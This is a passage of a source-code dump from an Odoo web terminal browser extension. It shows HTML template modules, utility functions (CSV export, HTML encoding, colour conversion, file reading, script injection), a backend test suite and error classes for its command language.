`${prompt} ${cmd.split(' ')[0]} *****`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (): string { 6 | return "
"; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_assistant_panel.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (): string { 6 | return `
7 |
8 |
9 |
10 |
11 |
12 |
13 | 14 |
`; 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_assistant_panel_arg_option_item.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type {CMDAssistantOption} from '@terminal/core/command_assistant'; 6 | 7 | export default function (option: CMDAssistantOption, index: number, selected_option_index: number): string { 8 | const strval = option.string ?? 'Unknown'; 9 | let strname = option.name ?? 'Unknown'; 10 | if (option.is_default) { 11 | strname = `${strname}`; 12 | } 13 | return ``; 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_assistant_panel_arg_option_list.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (option_html_items: Array): string { 6 | return ``; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_table.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import unique from '@terminal/utils/unique'; 6 | 7 | export default function ( 8 | columns: $ReadOnlyArray, 9 | rows: $ReadOnlyArray<$ReadOnlyArray>, 10 | cls?: string, 11 | ): string { 12 | return ( 13 | `` + 14 | '' + 15 | '' + 16 | `` + 17 | '' + 18 | '' + 19 | '' + 20 | `${rows.map(cells => ``).join('')}` + 21 | '' + 22 | '' 23 | ); 24 | } 25 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_table_cell_record.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {Record} from '@terminal/core/recordset'; 6 | import encodeHTML from '@terminal/utils/encode_html'; 7 | import prettyObjectString from '@terminal/utils/pretty_object_string'; 8 | 9 | export default function (model: string, field: string, item: {[string]: string | number}): string { 10 | const item_val = item[field]; 11 | if (item instanceof Record && item.__info[field]?.type === 'binary') { 12 | return `Try Read Field`; 13 | } else if ( 14 | item_val !== null && 15 | typeof item_val === 'object' && 16 | !(item_val instanceof Array) 17 | ) { 18 | return prettyObjectString(item_val); 19 | } 20 | return encodeHTML(String(item_val)); 21 | } 22 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_table_cell_record_id.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (model: string, id: number): string { 6 | return `#${id}`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/screen_user_input.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import encodeHTML from '@terminal/utils/encode_html'; 6 | 7 | export default function (PROMPT: string): string { 8 | return `
9 |
10 | 11 | ${encodeHTML(PROMPT)} 12 |
13 | 14 |
15 | 16 | 17 | 18 |
19 |
20 | 21 |
22 |
23 | 24 |
25 |
26 | Press 'CTRL + <Intro>' to execute. 27 |
28 |
`; 29 | } 30 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/terminal.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (): string { 6 | return ( 7 | "
" + 8 | "
" + 9 | "" + 10 | "
" + 11 | "" + 12 | '
' + 13 | "
" + 14 | "" + 15 | '
' + 16 | "
" + 17 | "" + 18 | '
' + 19 | "
" + 20 | "" + 21 | '
' + 22 | '
' + 23 | '
' 24 | ); 25 | } 26 | -------------------------------------------------------------------------------- /src/js/page/terminal/templates/welcome.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (ver: string): string { 6 | return `Terminal v${ver}`; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/async_sleep.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (ms: number): Promise<> { 6 | return new Promise(resolve => setTimeout(resolve, ms)); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/check_storage_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | /** 9 | * Return a friendly error exception 10 | */ 11 | // $FlowFixMe[unclear-type] 12 | export default function (err: Object): string { 13 | if (err.name !== 'QuotaExceededError') { 14 | return ''; 15 | } 16 | return ( 17 | "" + 18 | `${i18n.t('checkStorageError.warning', 'WARNING: ')} ` + 19 | i18n.t( 20 | 'checkStorageError.message', 21 | 'Clear the ' + 22 | "screen or/and " + 24 | "history " + 26 | 'to free storage space. Browser Storage Quota Exceeded' + 27 | ' 😭', 28 | ) + 29 | '
' 30 | ); 31 | } 32 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/csv.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type Recordset from '@terminal/core/recordset'; 6 | 7 | 8 | function sanitizeValue(value: string, regex: RegExp): string { 9 | let res = value; 10 | if (regex.test(res)) { 11 | res = res.replace(/"/g, '""'); 12 | res = `"${res}"`; 13 | } 14 | return res; 15 | } 16 | 17 | // More Info: https://datatracker.ietf.org/doc/html/rfc4180 18 | export default function(items: Recordset, use_header: boolean = false, delimiter: string = ','): string { 19 | const san_regex = new RegExp(`["\n${delimiter}]`); 20 | let res = ''; 21 | if (use_header) { 22 | // $FlowFixMe 23 | const headers = Object.keys(items[0]).map((value) => sanitizeValue(new String(value).toString(), san_regex)); 24 | if (headers.length > 0) { 25 | res += `${headers.join(delimiter)}\n`; 26 | } 27 | } 28 | // $FlowFixMe 29 | for (const item of items) { 30 | const san_values = Object.values(item).map((value) => sanitizeValue(new String(value).toString(), san_regex)); 31 | res += `${san_values.join(delimiter)}\n`; 32 | } 33 | return res; 34 | } 35 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/debounce.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | export type DebounceCallback = (ev: {...}) => void; 5 | export type DebounceInnerCallback = (...args: Array<{...}>) => mixed; 6 | 7 | export default function (this: T, func: DebounceCallback, timeout: number = 300): DebounceInnerCallback { 8 | let timer = null; 9 | return (...args: Array<{...}>) => { 10 | clearTimeout(timer); 11 | timer = setTimeout(() => { 12 | func.apply(this, args); 13 | }, timeout); 14 | }; 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/defer.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // FIXME: This is an anti-pattern. Use only if you know what you are doing. 6 | export default function (): Deferred { 7 | let resolve_fn, reject_fn; 8 | const promise = new Promise((resolve, reject) => { 9 | resolve_fn = resolve; 10 | reject_fn = reject; 11 | }); 12 | return { 13 | promise, 14 | resolve: resolve_fn, 15 | reject: reject_fn, 16 | }; 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/encode_html.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // See https://en.wikipedia.org/wiki/List_of_Unicode_characters 6 | export default function (text: string): string { 7 | return text?.replaceAll(/[\u00A0-\u9999\u003C-\u003E\u0022-\u002F]/gim, i => `&#${i.charCodeAt(0)};`); 8 | } 9 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/file2base64.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import debounce from './debounce'; 8 | 9 | export default function (this: T): Promise { 10 | const input_elm = window.document.createElement('input'); 11 | input_elm.type = 'file'; 12 | document.body?.appendChild(input_elm); 13 | // $FlowFixMe 14 | const onBodyFocus = (reject: Function) => { 15 | if (!input_elm.value.length) { 16 | return reject(i18n.t('file2base64.aborted', 'Aborted by user. No file given...')); 17 | } 18 | }; 19 | 20 | // $FlowFixMe 21 | return new Promise((resolve, reject) => { 22 | window.addEventListener('focus', debounce(onBodyFocus.bind(this, reject), 200)); 23 | input_elm.onchange = e => { 24 | const file = e.target.files[0]; 25 | const reader = new FileReader(); 26 | reader.readAsBinaryString(file); 27 | 28 | reader.onerror = reject; 29 | reader.onabort = reject; 30 | reader.onload = readerEvent => { 31 | // $FlowFixMe 32 | resolve(btoa(readerEvent.target.result)); 33 | }; 34 | }; 35 | input_elm.click(); 36 | }).finally(() => { 37 | window.removeEventListener('focus', onBodyFocus); 38 | document.body?.removeChild(input_elm); 39 | }); 40 | } 41 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/file2file.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import debounce from './debounce'; 8 | 9 | export default function (this: T, filename: ?string, options: ?{[string]: mixed}): Promise { 10 | const soptions = Object.assign({}, options, { 11 | type: 'application/octet-stream', 12 | }); 13 | const input_elm = window.document.createElement('input'); 14 | input_elm.type = 'file'; 15 | document.body?.appendChild(input_elm); 16 | // $FlowFixMe 17 | const onBodyFocus = (reject: Function) => { 18 | if (!input_elm.value.length) { 19 | return reject(i18n.t('file2file.aborted', 'Aborted by user. No file given...')); 20 | } 21 | }; 22 | 23 | // $FlowFixMe 24 | return new Promise((resolve, reject) => { 25 | window.addEventListener('focus', debounce(onBodyFocus.bind(this, reject), 200)); 26 | input_elm.onchange = e => { 27 | const file = e.target.files[0]; 28 | const reader = new FileReader(); 29 | reader.readAsArrayBuffer(file); 30 | 31 | reader.onerror = reject; 32 | reader.onabort = reject; 33 | reader.onload = readerEvent => { 34 | // $FlowFixMe 35 | const blob = new Blob([readerEvent.target.result], soptions); 36 | const sfilename = (typeof filename === 'undefined' ? input_elm.value : filename) ?? 'unnamed'; 37 | return resolve(new File([blob], sfilename, soptions)); 38 | }; 39 | }; 40 | input_elm.click(); 41 | }).finally(() => { 42 | window.removeEventListener('focus', onBodyFocus); 43 | document.body?.removeChild(input_elm); 44 | }); 45 | } 46 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/gen_color_from_string.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import genHash from './gen_hash'; 6 | import hex2rgb from './hex2rgb'; 7 | import type {RGB} from './hex2rgb'; 8 | 9 | export default function (str: string): RGB { 10 | return hex2rgb(genHash(str)); 11 | } 12 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/gen_hash.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // See https://stackoverflow.com/a/7616484 6 | export default function (text: string): number { 7 | let hash = 0; 8 | const len = text.length; 9 | for (let i = 0; i < len; ++i) { 10 | hash = (hash << 5) - hash + text.charCodeAt(i); 11 | // Convert to 32bit integer 12 | hash |= 0; 13 | } 14 | return hash; 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/get_color_gray_value.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type {RGB} from './hex2rgb'; 6 | 7 | export default function (rgb: RGB): number { 8 | return 1 - (0.2126 * (rgb[0] / 255) + 0.7152 * (rgb[1] / 255) + 0.0722 * (rgb[2] / 255)); 9 | } 10 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/hex2rgb.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export type RGB = [number, number, number]; 6 | 7 | export default function (hex: number): RGB { 8 | const r = (hex >> 16) & 0xff; 9 | const g = (hex >> 8) & 0xff; 10 | const b = hex & 0xff; 11 | return [r, g, b]; 12 | } 13 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/hsl2rgb.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type {HSL} from './rgb2hsl'; 6 | import type {RGB} from './hex2rgb'; 7 | 8 | export default function (hsl: HSL): RGB { 9 | const h = hsl[0] % 360; 10 | 11 | const c = (1 - Math.abs(2 * hsl[2] - 1)) * hsl[1]; 12 | const hPrime = h / 60; 13 | const x = c * (1 - Math.abs(hPrime % 2 - 1)); 14 | 15 | let r, g, b; 16 | if (hPrime >= 0 && hPrime < 1) { 17 | [r, g, b] = [c, x, 0]; 18 | } else if (hPrime < 2) { 19 | [r, g, b] = [x, c, 0]; 20 | } else if (hPrime < 3) { 21 | [r, g, b] = [0, c, x]; 22 | } else if (hPrime < 4) { 23 | [r, g, b] = [0, x, c]; 24 | } else if (hPrime < 5) { 25 | [r, g, b] = [x, 0, c]; 26 | } else { 27 | [r, g, b] = [c, 0, x]; 28 | } 29 | 30 | const m = hsl[2] - c / 2; 31 | 32 | return [ 33 | Math.round((r + m) * 255), 34 | Math.round((g + m) * 255), 35 | Math.round((b + m) * 255) 36 | ]; 37 | } 38 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/inject_resource.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default function (src: URL, type?: string): Promise<> { 9 | let res_type; 10 | if (typeof type === 'undefined') { 11 | const pathname = src.pathname.toLowerCase(); 12 | if (pathname.endsWith('.mjs') || pathname.endsWith('.esm.js')) { 13 | res_type = 'mjs'; 14 | } else if (pathname.endsWith('.js')) { 15 | res_type = 'js'; 16 | } else if (pathname.endsWith('.css')) { 17 | res_type = 'css'; 18 | } 19 | } else { 20 | res_type = type; 21 | } 22 | return new Promise((resolve, reject) => { 23 | if (res_type === 'js' || res_type === 'mjs') { 24 | const script = document.createElement('script'); 25 | script.setAttribute('src', src.href); 26 | script.setAttribute('type', res_type === 'mjs' ? 'module' : 'application/javascript'); 27 | script.addEventListener('load', resolve); 28 | script.addEventListener('error', reject); 29 | document.head?.appendChild(script); 30 | } else if (res_type === 'css') { 31 | const link = document.createElement('link'); 32 | link.setAttribute('href', src.href); 33 | link.setAttribute('type', 'text/css'); 34 | link.setAttribute('rel', 'stylesheet'); 35 | link.addEventListener('load', resolve); 36 | link.addEventListener('error', reject); 37 | document.head?.appendChild(link); 38 | } else { 39 | reject(i18n.t('utilInjectResource.error.invalidType', 'Invalid resource type')); 40 | } 41 | }); 42 | } 43 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/keycode.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default { 6 | ENTER: 13, 7 | UP: 38, 8 | DOWN: 40, 9 | LEFT: 37, 10 | RIGHT: 39, 11 | TAB: 9, 12 | ESCAPE: 27, 13 | }; 14 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/parse_html.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import ElementNotFoundTemplateError from '@terminal/exceptions/element_not_found_template_error'; 6 | import TooManyElementsTemplateError from '@terminal/exceptions/too_many_elements_template_error'; 7 | import InvalidElementTemplateError from '@terminal/exceptions/invalid_element_template_error'; 8 | 9 | export default function (template: string): HTMLElement { 10 | const doc = new DOMParser().parseFromString(template, "text/html"); 11 | if (!doc.body?.childNodes) { 12 | throw new ElementNotFoundTemplateError(); 13 | } 14 | if (doc.body.childNodes.length > 1) { 15 | throw new TooManyElementsTemplateError(); 16 | } 17 | 18 | if (doc.body.childNodes[0] instanceof HTMLElement) { 19 | return document.importNode(doc.body.childNodes[0], true); 20 | } 21 | throw new InvalidElementTemplateError(); 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/pretty_object_string.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import encodeHTML from './encode_html'; 6 | import replacer from './stringify_replacer'; 7 | 8 | export default function (obj: {...}): string { 9 | return encodeHTML(JSON.stringify(obj, replacer, 4)); 10 | } 11 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/rgb2hsl.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type {RGB} from './hex2rgb'; 6 | export type HSL = [number, number, number]; 7 | 8 | export default function (rgb: RGB): HSL { 9 | const r = rgb[0] / 255; 10 | const g = rgb[1] / 255; 11 | const b = rgb[2] / 255; 12 | 13 | const max = Math.max(r, g, b); 14 | const min = Math.min(r, g, b); 15 | const delta = max - min; 16 | 17 | let h = 0, s = 0; 18 | 19 | // Lightness 20 | const l = (max + min) / 2; 21 | 22 | // Saturation y Hue 23 | if (delta !== 0) { 24 | // Saturation 25 | s = delta / (1 - Math.abs(2 * l - 1)); 26 | 27 | // Hue 28 | switch (max) { 29 | case r: 30 | h = ((g - b) / delta + (g < b ? 6 : 0)) * 60; 31 | break; 32 | case g: 33 | h = ((b - r) / delta + 2) * 60; 34 | break; 35 | case b: 36 | h = ((r - g) / delta + 4) * 60; 37 | break; 38 | } 39 | } 40 | 41 | return [ 42 | Math.round(h), 43 | Number(s.toFixed(3)), 44 | Number(l.toFixed(3)) 45 | ]; 46 | } 47 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/save2file.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (filename: string, type: string, data: mixed) { 6 | const blob = new Blob([data], {type: type}); 7 | const elem = window.document.createElement('a'); 8 | const objURL = window.URL.createObjectURL(blob); 9 | elem.href = objURL; 10 | elem.download = filename; 11 | document.body?.appendChild(elem); 12 | elem.click(); 13 | document.body?.removeChild(elem); 14 | URL.revokeObjectURL(objURL); 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/stringify_replacer.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function replacer(key: string, value: mixed): mixed { 6 | let svalue = value; 7 | if (value instanceof Array) { 8 | for (const i in value) { 9 | // $FlowFixMe 10 | svalue[i] = replacer(key, value[i]); 11 | } 12 | } 13 | 14 | // FIXME: Odoo 18.0 has a limited access in Record objects. 15 | // This check should be moved to the Odoo “zone” and check the 16 | // 'Record' type. 17 | if (value !== null && typeof value === 'object' && Object.hasOwn(value, '_proxy')) { 18 | svalue = "##!ProxyObject!##"; 19 | } 20 | 21 | return svalue; 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/unescape_quotes.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (text: string): string { 6 | return text.replaceAll(/\\(['"])/g, '$1'); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/unique.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (items: $ReadOnlyArray): Array { 6 | return Array.from(new Set(items)); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/terminal/utils/unique_id.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | let _uniqueId = 0; 6 | export default function (prefix: string): string { 7 | const nid = ++_uniqueId; 8 | if (prefix) { 9 | return `${prefix}${nid}`; 10 | } 11 | return new String(nid).toString(); 12 | } 13 | -------------------------------------------------------------------------------- /src/js/page/tests/test_backend.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import asyncSleep from '@terminal/utils/async_sleep'; 6 | import TerminalTestSuite from './tests'; 7 | 8 | export default class TestBackend extends TerminalTestSuite { 9 | async test_settings() { 10 | await this.terminal.execute('settings', false, true); 11 | await asyncSleep(2000); 12 | this.assertNotEqual(document.querySelector('.o_form_view .settings, .o_form_view > .settings'), null); 13 | } 14 | 15 | async test_view() { 16 | await this.terminal.execute('view -m res.company', false, true); 17 | await asyncSleep(2500); 18 | const modal_el = this.getModalOpen(); 19 | this.assertTrue(this.isModalType(modal_el, 'list')); 20 | this.closeModal(modal_el); 21 | await this.terminal.execute('view -m res.company -i 1', false, true); 22 | await asyncSleep(2500); 23 | this.assertTrue(this.isFormOpen()); 24 | await this.terminal.execute('view -m res.company -i 1 -r base.base_onboarding_company_form', false, true); 25 | await asyncSleep(2500); 26 | this.assertTrue(this.isFormOpen()); 27 | } 28 | 29 | async test_effect() { 30 | await this.terminal.execute("effect -t rainbow_man -o {message: 'I hope everything works correctly'}", false, true); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_command_argument_format_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default class extends Error { 6 | cmd_name: string; 7 | 8 | constructor(message: string, cmd_name: string) { 9 | super(`${cmd_name}. ${message}`); 10 | this.name = 'InvalidCommandArgumentFormatError'; 11 | this.cmd_name = cmd_name; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_command_argument_value_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | cmd_name: string; 10 | arg_value: mixed; 11 | 12 | constructor(cmd_name: string, arg_value: mixed) { 13 | super(i18n.t('trash.exception.invalidCommandArugmentValueError', "Unexpected '{{arg_value}}' value!", {arg_value})); 14 | this.name = 'InvalidCommandArgumentValueError'; 15 | this.cmd_name = cmd_name; 16 | this.arg_value = arg_value; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_command_arguments_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | cmd_name: string; 10 | args: Array; 11 | 12 | constructor(cmd_name: string, args: Array) { 13 | super(i18n.t('trash.exception.invalidCommandArgumentsError', 'Invalid command arguments')); 14 | this.name = 'InvalidCommandArgumentsError'; 15 | this.cmd_name = cmd_name; 16 | this.args = args; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_command_definition_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | constructor() { 10 | super(i18n.t('trash.exception.invalidCommandDefinition', "Invalid command definition!")); 11 | this.name = 'invalidCommandDefinitionError'; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_instruction_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | constructor(message?: string) { 10 | super( 11 | typeof message === 'undefined' 12 | ? i18n.t('trash.exception.invalidInstructionError', 'Invalid instruction') 13 | : message, 14 | ); 15 | this.name = 'InvalidInstructionError'; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_name_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | vname: string; 10 | start: number; 11 | end: number; 12 | 13 | constructor(vname: string, start: number, end: number) { 14 | super( 15 | i18n.t('trash.exception.invalidNameError', "Invalid name '{{vname}}' at {{start}}:{{end}}", {vname, start, end}), 16 | ); 17 | this.name = 'InvalidNameError'; 18 | this.vname = vname; 19 | this.start = start; 20 | this.end = end; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_token_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | vname: string; 10 | start: number; 11 | end: number; 12 | 13 | constructor(vname: string, start: number, end: number) { 14 | super( 15 | i18n.t('trash.exception.invalidTokenError', "Invalid token '{{vname}}' at {{start}}:{{end}}", { 16 | vname, 17 | start, 18 | end, 19 | }), 20 | ); 21 | this.name = 'InvalidTokenError'; 22 | this.vname = vname; 23 | this.start = start; 24 | this.end = end; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/invalid_value_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | value: mixed; 10 | 11 | constructor(value: mixed) { 12 | super( 13 | i18n.t('trash.exception.invalidValueError', "Invalid value '{{value}}'", { 14 | value: new String(value).toString(), 15 | }), 16 | ); 17 | this.name = 'InvalidValueError'; 18 | this.value = value; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/not_calleable_name_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | constructor(message?: string) { 10 | super( 11 | typeof message === 'undefined' 12 | ? i18n.t('trash.exception.NotCalleableNameError', 'The loaded name is not calleable') 13 | : message, 14 | ); 15 | this.name = 'NotCalleableNameError'; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/not_expected_command_argument_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | arg_name: string; 10 | start: number; 11 | end: number; 12 | 13 | constructor(arg_name: string, start: number, end: number) { 14 | super( 15 | i18n.t( 16 | 'trash.exception.notExpectedCommandArgumentError', 17 | "Argument 